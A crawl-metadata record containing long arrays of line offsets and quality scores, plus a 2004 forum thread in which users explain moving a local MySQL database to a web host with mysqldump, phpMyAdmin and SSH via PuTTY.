4531,
4599,
4668,
4736,
4737,
4762,
4763,
4830,
4900,
4910,
4911,
4935,
4936,
5006,
5055,
5056,
5075,
5076,
5148,
5210,
5211,
5232,
5233,
5299,
5368,
5433,
5461,
5462,
5497,
5498,
5565,
5566,
5599,
5600,
5667,
5700,
5701,
5728,
5729,
5789,
5852,
5853,
5886,
5887,
5898,
5899,
5972,
5988,
6061,
6062,
6135,
6173,
6246,
6247,
6269,
6270,
6293,
6306,
6307,
6379,
6442,
6474,
6475,
6504,
6505,
6534,
6535,
6607,
6632,
6633,
6659,
6691,
6692,
6758,
6826,
6869,
6897,
6957,
6989,
6991,
7049,
7102,
7128,
7134,
7160,
7195,
7197,
7258,
7279,
7317,
7318,
7364,
7391,
7419,
7445,
7470,
7495,
7496,
7518,
7519,
7544,
7570,
7594,
7595,
7606,
7607,
7608,
7681,
7718,
7791,
7792,
7814,
7815,
7839,
7840,
7860,
7875,
7902,
7931,
7959,
7980,
8018,
8019,
8047,
8048,
8116,
8138,
8139,
8168,
8169,
8231,
8282,
8283,
8310,
8338,
8339,
8398,
8465,
8466,
8493,
8525,
8526,
8585,
8586,
8609,
8610,
8621,
8622,
8623,
8696,
8726,
8773,
8841,
8903,
8976,
8978,
9002,
9024,
9041,
9072,
9104,
9117,
9119,
9143,
9168,
9188,
9218,
9231,
9233,
9257,
9283,
9303,
9333,
9346,
9348,
9372,
9400,
9422,
9453,
9476,
9500,
9524,
9547,
9575,
9609,
9637,
9663,
9676,
9678,
9702,
9730,
9749,
9780,
9802,
9825,
9848,
9870,
9898,
9932,
9964,
9992,
10018,
10031,
10032,
10105,
10123,
10196,
10197,
10245,
10246,
10264,
10265,
10289,
10290,
10340,
10407,
10451,
10518,
10557,
10558,
10580,
10581,
10611,
10668,
10731,
10732,
10783,
10852,
10896,
10963,
11002,
11003,
11021,
11022,
11033,
11034,
11035,
11108,
11134,
11207,
11208,
11264,
11265,
11288,
11289,
11306,
11332,
11353,
11373,
11374,
11447,
11519,
11520,
11540,
11541,
11612,
11683,
11748,
11823,
11824,
11837,
11908,
11979,
12046,
12118,
12184,
12196,
12197,
12218,
12219,
12234,
12235,
12254,
12255,
12266,
12267,
12302,
12303,
12320,
12359,
12373,
12374,
12390,
12432,
12443,
12444,
12445,
12518,
12536,
12609,
12610,
12673,
12746,
12815,
12825,
12842,
12864,
12899,
12920,
12936,
12937,
12958,
12966,
13015,
13028,
13042,
13063,
13072,
13121,
13134,
13148,
13169,
13178,
13195,
13208,
13222,
13233,
13234,
13307,
13332,
13405,
13406,
13475,
13541,
13608,
13679,
13748,
13765,
13766,
13789,
13790,
13828,
13855,
13856,
13923,
13986,
14059,
14128,
14149,
14150,
14168,
14169,
14235,
14300,
14364,
14384,
14385,
14420,
14459,
14460,
14471,
14473,
14503,
14516,
14523,
14525,
14546,
14574,
14584,
14585,
14601,
14621,
14687,
14688,
14797,
14799,
14802,
14803,
14804,
14810,
14811,
14812,
14844,
14864,
14865,
14881,
14882,
14896,
14925,
14950,
14979,
15007,
15008,
15022,
15037,
15055,
15072,
15091,
15108,
15125,
15126,
15127,
15143,
15189,
15281,
15363,
15457,
15544,
15621,
15622,
15623,
15671,
15672,
15682,
15688,
15701,
15855,
15865,
15875,
15896,
15910,
15935,
15962,
16011
],
"line_end_idx": [
19,
40,
112,
122,
131,
183,
288,
289,
297,
298,
304,
306,
334,
364,
377,
384,
386,
407,
435,
445,
446,
466,
479,
480,
481,
611,
612,
676,
737,
789,
790,
885,
886,
918,
919,
921,
959,
961,
1035,
1112,
1188,
1263,
1335,
1406,
1408,
1485,
1539,
1541,
1618,
1693,
1767,
1843,
1919,
1992,
2004,
2006,
2083,
2159,
2228,
2252,
2254,
2255,
2328,
2398,
2411,
2484,
2485,
2558,
2610,
2656,
2729,
2731,
2748,
2749,
2788,
2789,
2826,
2827,
2890,
2956,
2976,
3039,
3053,
3054,
3084,
3097,
3113,
3129,
3142,
3143,
3171,
3182,
3210,
3221,
3222,
3233,
3234,
3307,
3373,
3446,
3447,
3463,
3464,
3530,
3599,
3632,
3633,
3666,
3667,
3742,
3815,
3860,
3862,
3864,
3865,
3899,
3932,
3967,
4002,
4037,
4073,
4108,
4146,
4186,
4226,
4227,
4285,
4286,
4324,
4325,
4336,
4337,
4410,
4434,
4507,
4508,
4530,
4531,
4599,
4668,
4736,
4737,
4762,
4763,
4830,
4900,
4910,
4911,
4935,
4936,
5006,
5055,
5056,
5075,
5076,
5148,
5210,
5211,
5232,
5233,
5299,
5368,
5433,
5461,
5462,
5497,
5498,
5565,
5566,
5599,
5600,
5667,
5700,
5701,
5728,
5729,
5789,
5852,
5853,
5886,
5887,
5898,
5899,
5972,
5988,
6061,
6062,
6135,
6173,
6246,
6247,
6269,
6270,
6293,
6306,
6307,
6379,
6442,
6474,
6475,
6504,
6505,
6534,
6535,
6607,
6632,
6633,
6659,
6691,
6692,
6758,
6826,
6869,
6897,
6957,
6989,
6991,
7049,
7102,
7128,
7134,
7160,
7195,
7197,
7258,
7279,
7317,
7318,
7364,
7391,
7419,
7445,
7470,
7495,
7496,
7518,
7519,
7544,
7570,
7594,
7595,
7606,
7607,
7608,
7681,
7718,
7791,
7792,
7814,
7815,
7839,
7840,
7860,
7875,
7902,
7931,
7959,
7980,
8018,
8019,
8047,
8048,
8116,
8138,
8139,
8168,
8169,
8231,
8282,
8283,
8310,
8338,
8339,
8398,
8465,
8466,
8493,
8525,
8526,
8585,
8586,
8609,
8610,
8621,
8622,
8623,
8696,
8726,
8773,
8841,
8903,
8976,
8978,
9002,
9024,
9041,
9072,
9104,
9117,
9119,
9143,
9168,
9188,
9218,
9231,
9233,
9257,
9283,
9303,
9333,
9346,
9348,
9372,
9400,
9422,
9453,
9476,
9500,
9524,
9547,
9575,
9609,
9637,
9663,
9676,
9678,
9702,
9730,
9749,
9780,
9802,
9825,
9848,
9870,
9898,
9932,
9964,
9992,
10018,
10031,
10032,
10105,
10123,
10196,
10197,
10245,
10246,
10264,
10265,
10289,
10290,
10340,
10407,
10451,
10518,
10557,
10558,
10580,
10581,
10611,
10668,
10731,
10732,
10783,
10852,
10896,
10963,
11002,
11003,
11021,
11022,
11033,
11034,
11035,
11108,
11134,
11207,
11208,
11264,
11265,
11288,
11289,
11306,
11332,
11353,
11373,
11374,
11447,
11519,
11520,
11540,
11541,
11612,
11683,
11748,
11823,
11824,
11837,
11908,
11979,
12046,
12118,
12184,
12196,
12197,
12218,
12219,
12234,
12235,
12254,
12255,
12266,
12267,
12302,
12303,
12320,
12359,
12373,
12374,
12390,
12432,
12443,
12444,
12445,
12518,
12536,
12609,
12610,
12673,
12746,
12815,
12825,
12842,
12864,
12899,
12920,
12936,
12937,
12958,
12966,
13015,
13028,
13042,
13063,
13072,
13121,
13134,
13148,
13169,
13178,
13195,
13208,
13222,
13233,
13234,
13307,
13332,
13405,
13406,
13475,
13541,
13608,
13679,
13748,
13765,
13766,
13789,
13790,
13828,
13855,
13856,
13923,
13986,
14059,
14128,
14149,
14150,
14168,
14169,
14235,
14300,
14364,
14384,
14385,
14420,
14459,
14460,
14471,
14473,
14503,
14516,
14523,
14525,
14546,
14574,
14584,
14585,
14601,
14621,
14687,
14688,
14797,
14799,
14802,
14803,
14804,
14810,
14811,
14812,
14844,
14864,
14865,
14881,
14882,
14896,
14925,
14950,
14979,
15007,
15008,
15022,
15037,
15055,
15072,
15091,
15108,
15125,
15126,
15127,
15143,
15189,
15281,
15363,
15457,
15544,
15621,
15622,
15623,
15671,
15672,
15682,
15688,
15701,
15855,
15865,
15875,
15896,
15910,
15935,
15962,
16011,
16055
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 16055,
"ccnet_original_nlines": 551,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.19609078764915466,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05485498160123825,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3735813498497009,
"rps_doc_frac_unique_words": 0.3569277226924896,
"rps_doc_mean_word_length": 5.432229042053223,
"rps_doc_num_sentences": 114,
"rps_doc_symbol_to_word_ratio": 0.08701135218143463,
"rps_doc_unigram_entropy": 5.812056541442871,
"rps_doc_word_count": 1992,
"rps_doc_frac_chars_dupe_10grams": 0.06616763770580292,
"rps_doc_frac_chars_dupe_5grams": 0.17105628550052643,
"rps_doc_frac_chars_dupe_6grams": 0.1349228471517563,
"rps_doc_frac_chars_dupe_7grams": 0.12642085552215576,
"rps_doc_frac_chars_dupe_8grams": 0.0916735976934433,
"rps_doc_frac_chars_dupe_9grams": 0.0916735976934433,
"rps_doc_frac_chars_top_2gram": 0.008132340386509895,
"rps_doc_frac_chars_top_3gram": 0.011089550331234932,
"rps_doc_frac_chars_top_4gram": 0.010165420360863209,
"rps_doc_books_importance": -1746.0302734375,
"rps_doc_books_importance_length_correction": -1746.0302734375,
"rps_doc_openwebtext_importance": -757.0700073242188,
"rps_doc_openwebtext_importance_length_correction": -757.0700073242188,
"rps_doc_wikipedia_importance": -597.2476806640625,
"rps_doc_wikipedia_importance_length_correction": -597.2476806640625
},
"fasttext": {
"dclm": 0.03390539065003395,
"english": 0.697777271270752,
"fineweb_edu_approx": 1.4524885416030884,
"eai_general_math": 0.9960366487503052,
"eai_open_web_math": 0.40739887952804565,
"eai_web_code": 0.9157882928848267
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.456",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
6,368,825,182,778,963,000 | parallel map node in dtkComposer
dtkComposer layer
Since the beginning of the dtkComposer layer, the Map and Foreach nodes allow the user to apply the same sub-composition to an input container (Qt container, std::vector, dtkArray, etc .). We can for example read a bunch of files from a given directory, put the result in a QStringList and apply a treatment (sub-composition) to each of the files.
Using the same technique we use for the remote execution of composition (serialization of the composition as XML, and use of a dtkComposerReader at the remote end), we are now able to add a parallel Map node.
map node
The idea is to start a qthread based dtkDistributedCommunicator in the parallel Map node, and send to each threads the XML serialization of it’s internal composition (the visual program inside the Map node). Each thread will run the composition on a given range of the input container, and will write the result in the output container. In the next toy example, we apply to a list of images a very basic set of filters (Gaussian and Normalize filters):
alt text
parallel map node implementation
One of the limitation of the initial design of the composer was that even though the visual aspect (called the dtkComposerScene) was separated from the evaluation aspect (dtkComposerEvaluator), the Scene was used to build the evaluation graph used by the Evaluator from the XML (and the scene was also needed to write the XML). This was a real problem for the multithreaded implementation of the Map node, since each thread had no scene at all. We have now refactored completely the dtkComposerReader and dtkComposerWriter (used for the XML Serialization/Deserialization), and we are now able to use a dtkComposerEvaluator without any scene.
In the next example, we now use the Parallel Map node instead of the Map. We can notice that it’s exactly the same composition, the user only needs to switch from the Map node to the ParallelMap one in order to use all the available cores of it’s computer.
alt text
Leave a Reply
Your email address will not be published.
Time limit is exhausted. Please reload the CAPTCHA. | {
"url": "https://iww.inria.fr/sed-sophia/parallel-map-node-in-dtkcomposer/",
"source_domain": "iww.inria.fr",
"snapshot_id": "crawl=CC-MAIN-2017-43",
"warc_metadata": {
"Content-Length": "66006",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:B6SFJLDVTVBUAWINRAXZ3UJR4DGVWBYF",
"WARC-Concurrent-To": "<urn:uuid:13ba9b40-1e1a-480d-8e8b-8edff069b2d5>",
"WARC-Date": "2017-10-24T00:29:50Z",
"WARC-IP-Address": "128.93.162.19",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:IOSIMTY3AH4NZA42KZHOV42O5ONAZQEI",
"WARC-Record-ID": "<urn:uuid:5bfdb944-31f5-4989-9bfa-dbafc867bbed>",
"WARC-Target-URI": "https://iww.inria.fr/sed-sophia/parallel-map-node-in-dtkcomposer/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:c970e33a-63ad-4bd9-b8f3-a9846e34d665>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-51-200-95.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-43\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for October 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
33,
34,
52,
53,
401,
402,
611,
612,
621,
622,
1075,
1076,
1085,
1086,
1119,
1120,
1762,
1763,
2020,
2021,
2030,
2031,
2045,
2046,
2088,
2089
],
"line_end_idx": [
33,
34,
52,
53,
401,
402,
611,
612,
621,
622,
1075,
1076,
1085,
1086,
1119,
1120,
1762,
1763,
2020,
2021,
2030,
2031,
2045,
2046,
2088,
2089,
2140
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2140,
"ccnet_original_nlines": 26,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.46844661235809326,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.01456310972571373,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.11407767236232758,
"rps_doc_frac_unique_words": 0.42737430334091187,
"rps_doc_mean_word_length": 4.793295860290527,
"rps_doc_num_sentences": 13,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.423778533935547,
"rps_doc_word_count": 358,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.01631701923906803,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.036713290959596634,
"rps_doc_frac_chars_top_3gram": 0.04370629042387009,
"rps_doc_frac_chars_top_4gram": 0.013986010104417801,
"rps_doc_books_importance": -193.16921997070312,
"rps_doc_books_importance_length_correction": -193.16921997070312,
"rps_doc_openwebtext_importance": -92.8401870727539,
"rps_doc_openwebtext_importance_length_correction": -92.8401870727539,
"rps_doc_wikipedia_importance": -93.19209289550781,
"rps_doc_wikipedia_importance_length_correction": -93.19209289550781
},
"fasttext": {
"dclm": 0.13656830787658691,
"english": 0.8987367749214172,
"fineweb_edu_approx": 2.888808250427246,
"eai_general_math": 0.8366885185241699,
"eai_open_web_math": 0.3427555561065674,
"eai_web_code": 0.23712408542633057
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-8,431,570,996,728,102,000 | 2
I have an app that needs to constantly ping an HTTP server, so that I can see if my app is running.
I want to run my server through CloudFlare. Will every request query my server (if it's up)?
• 1
If I understood this correctly, you're asking if pings to your site through CloudFlare's network will be returned by your server? Not if your site is being proxied (i.e., has an orange cloud to indicate that proxy is active on it). In that case, you'll be pinging CloudFlare's server that your host resolves to (the IP listed in your DNS record) - see this. – dan Jul 14 '15 at 6:21
1
There are two options here. If you are caching the entire application through cloudflare then you will need to ping the actual server address (in otherwords the origin address you configured in cloudflare) to be able to see if your application is running, but if you are only caching static content with cloudflare and everything else is being served directly by your web application then you can simply ping your web application as per normal.
| improve this answer | |
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "https://webmasters.stackexchange.com/questions/83137/how-does-cloudflare-work-with-webapps",
"source_domain": "webmasters.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2020-45",
"warc_metadata": {
"Content-Length": "144910",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:H4SLTYFH6DYYVECUWWRPSXUAC4NEJKL6",
"WARC-Concurrent-To": "<urn:uuid:8c9d32a2-3841-49b2-b043-8e6c275e6483>",
"WARC-Date": "2020-10-30T13:42:25Z",
"WARC-IP-Address": "151.101.65.69",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:7OGFZ642WSJ453YRAHOASRHR3WS3MVWY",
"WARC-Record-ID": "<urn:uuid:b4171cc8-b4c4-4443-88aa-27e883190c4c>",
"WARC-Target-URI": "https://webmasters.stackexchange.com/questions/83137/how-does-cloudflare-work-with-webapps",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:96317aba-c450-42cb-b8d5-64c52aa941a3>"
},
"warc_info": "isPartOf: CC-MAIN-2020-45\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-127.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
3,
103,
104,
197,
198,
204,
591,
593,
594,
1039,
1040,
1066,
1067,
1079,
1080,
1180,
1181
],
"line_end_idx": [
2,
3,
103,
104,
197,
198,
204,
591,
593,
594,
1039,
1040,
1066,
1067,
1079,
1080,
1180,
1181,
1271
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1271,
"ccnet_original_nlines": 18,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4555555582046509,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.025925930589437485,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.17037037014961243,
"rps_doc_frac_unique_words": 0.5733333230018616,
"rps_doc_mean_word_length": 4.400000095367432,
"rps_doc_num_sentences": 12,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.582058429718018,
"rps_doc_word_count": 225,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.010101010091602802,
"rps_doc_frac_chars_top_3gram": 0.016161620616912842,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -127.41970825195312,
"rps_doc_books_importance_length_correction": -127.41970825195312,
"rps_doc_openwebtext_importance": -68.3036117553711,
"rps_doc_openwebtext_importance_length_correction": -68.3036117553711,
"rps_doc_wikipedia_importance": -55.4332275390625,
"rps_doc_wikipedia_importance_length_correction": -55.4332275390625
},
"fasttext": {
"dclm": 0.14010685682296753,
"english": 0.9542068839073181,
"fineweb_edu_approx": 1.0437737703323364,
"eai_general_math": -0.000003929999820684316,
"eai_open_web_math": 0.023255469277501106,
"eai_web_code": 0.000010490000022400636
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
6,869,477,492,629,709,000 | mysql question
Discussion in 'OT Technology' started by Leb_CRX, Apr 8, 2004.
1. Leb_CRX
Leb_CRX OT's resident terrorist
Joined:
Apr 22, 2001
Messages:
39,994
Likes Received:
0
Location:
Ottawa, Canada
ok say I am working on my own PC on a mySQL database, and I suddenly get a hosting account, whats the fastest way to transfer that over? do they allow me to SSH into it and load it that way? (I presume from a backup) or how exactly? does it depend on the hosting company I am with or how exactly? I need more info on this, probally a mad n00by question, but I never done this so :hs:
2. Slid.
Slid. I'm a guy.
Joined:
Oct 25, 2001
Messages:
1,928
Likes Received:
0
Location:
NH
Well I'm guessing you're not using something like phpMyAdmin - which allows you great control over a mySQL database. If you don't already have it I'd *highly* recommend it for both you and your hosting account (most hosts ALREADY have this however).
You want to use a mysqldump command found below:
http://www.mysql.com/doc/en/mysqldump.html
phpMyAdmin install instructions can be found here:
http://www.aota.net/PHP_and_MySQL/phpmyadmin.php4
A mySQL dump will basically dump everything from a database into a text file that has all the INSERT and CREATE commands you need to run on the new server.
3. Leb_CRX
Leb_CRX OT's resident terrorist
Joined:
Apr 22, 2001
Messages:
39,994
Likes Received:
0
Location:
Ottawa, Canada
Oh wow Slid, I didn't even know that (the dump has the inserts/create), I remember CyberBullets posting about that for me a while back when I was looking for a backup but I never opened the file and looked at it.
as for phpMyAdmin, I am definitivally gonna give that a go, thanks! :)
4. Slid.
Slid. I'm a guy.
Joined:
Oct 25, 2001
Messages:
1,928
Likes Received:
0
Location:
NH
5. Leb_CRX
Leb_CRX OT's resident terrorist
Joined:
Apr 22, 2001
Messages:
39,994
Likes Received:
0
Location:
Ottawa, Canada
another question, non-sql related, do hosts allow me to SSH into the server and make changes if needed?
6. CyberBullets
CyberBullets I reach to the sky, and call out your name. If I c
Joined:
Nov 13, 2001
Messages:
11,865
Likes Received:
0
Location:
BC, Canada/Stockholm, Sweden
some hosts require you to verify who you are before they open up ssh to you.
usually download a program called PuTTY and conenct using ur master username/password.
7. Leb_CRX
Leb_CRX OT's resident terrorist
Joined:
Apr 22, 2001
Messages:
39,994
Likes Received:
0
Location:
Ottawa, Canada
I know putty I use it to login to my linux server, among other things
I just wasen't sure if they allowed access through it, but I guess that's the answer
8. Ximian
Ximian New Member
Joined:
Mar 20, 2004
Messages:
1,860
Likes Received:
0
Location:
DCA
Why don't you ask them to be sure considering everyone has a different security policy. Generally speaking, if you have access to it, you're allowed to use it, just don't abuse it.
Share This Page | {
"url": "https://www.offtopic.com/threads/mysql-question.1062827/",
"source_domain": "www.offtopic.com",
"snapshot_id": "crawl=CC-MAIN-2016-44",
"warc_metadata": {
"Content-Length": "44555",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:OKZ4AI32AOI6WJWKFTVWXOY6XYZ737MM",
"WARC-Concurrent-To": "<urn:uuid:d81cc873-888e-4ab8-9050-9e48975c7c72>",
"WARC-Date": "2016-10-24T09:09:44Z",
"WARC-IP-Address": "104.25.239.28",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:ROXU4YIR75LGOO4C6LADI54H3LJXMEW6",
"WARC-Record-ID": "<urn:uuid:205fecc5-7b43-4536-ab30-14b06448406e>",
"WARC-Target-URI": "https://www.offtopic.com/threads/mysql-question.1062827/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:db587394-1a97-45bc-ad22-ea6c4bee3056>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-6-4.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-44\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for October 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
15,
16,
79,
80,
93,
94,
130,
131,
143,
160,
174,
185,
205,
211,
225,
244,
632,
638,
649,
650,
671,
672,
684,
701,
715,
725,
745,
751,
765,
772,
1026,
1027,
1080,
1081,
1128,
1129,
1184,
1185,
1239,
1240,
1400,
1406,
1419,
1420,
1456,
1457,
1469,
1486,
1500,
1511,
1531,
1537,
1551,
1570,
1787,
1788,
1863,
1869,
1880,
1881,
1902,
1903,
1915,
1932,
1946,
1956,
1976,
1982,
1996,
2003,
2016,
2017,
2053,
2054,
2066,
2083,
2097,
2108,
2128,
2134,
2148,
2167,
2275,
2281,
2299,
2300,
2368,
2369,
2381,
2398,
2412,
2423,
2443,
2449,
2463,
2496,
2577,
2578,
2669,
2675,
2688,
2689,
2725,
2726,
2738,
2755,
2769,
2780,
2800,
2806,
2820,
2839,
2913,
2914,
3003,
3009,
3021,
3022,
3044,
3045,
3057,
3074,
3088,
3098,
3118,
3124,
3138,
3146,
3331,
3337,
3338
],
"line_end_idx": [
15,
16,
79,
80,
93,
94,
130,
131,
143,
160,
174,
185,
205,
211,
225,
244,
632,
638,
649,
650,
671,
672,
684,
701,
715,
725,
745,
751,
765,
772,
1026,
1027,
1080,
1081,
1128,
1129,
1184,
1185,
1239,
1240,
1400,
1406,
1419,
1420,
1456,
1457,
1469,
1486,
1500,
1511,
1531,
1537,
1551,
1570,
1787,
1788,
1863,
1869,
1880,
1881,
1902,
1903,
1915,
1932,
1946,
1956,
1976,
1982,
1996,
2003,
2016,
2017,
2053,
2054,
2066,
2083,
2097,
2108,
2128,
2134,
2148,
2167,
2275,
2281,
2299,
2300,
2368,
2369,
2381,
2398,
2412,
2423,
2443,
2449,
2463,
2496,
2577,
2578,
2669,
2675,
2688,
2689,
2725,
2726,
2738,
2755,
2769,
2780,
2800,
2806,
2820,
2839,
2913,
2914,
3003,
3009,
3021,
3022,
3044,
3045,
3057,
3074,
3088,
3098,
3118,
3124,
3138,
3146,
3331,
3337,
3338,
3353
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3353,
"ccnet_original_nlines": 131,
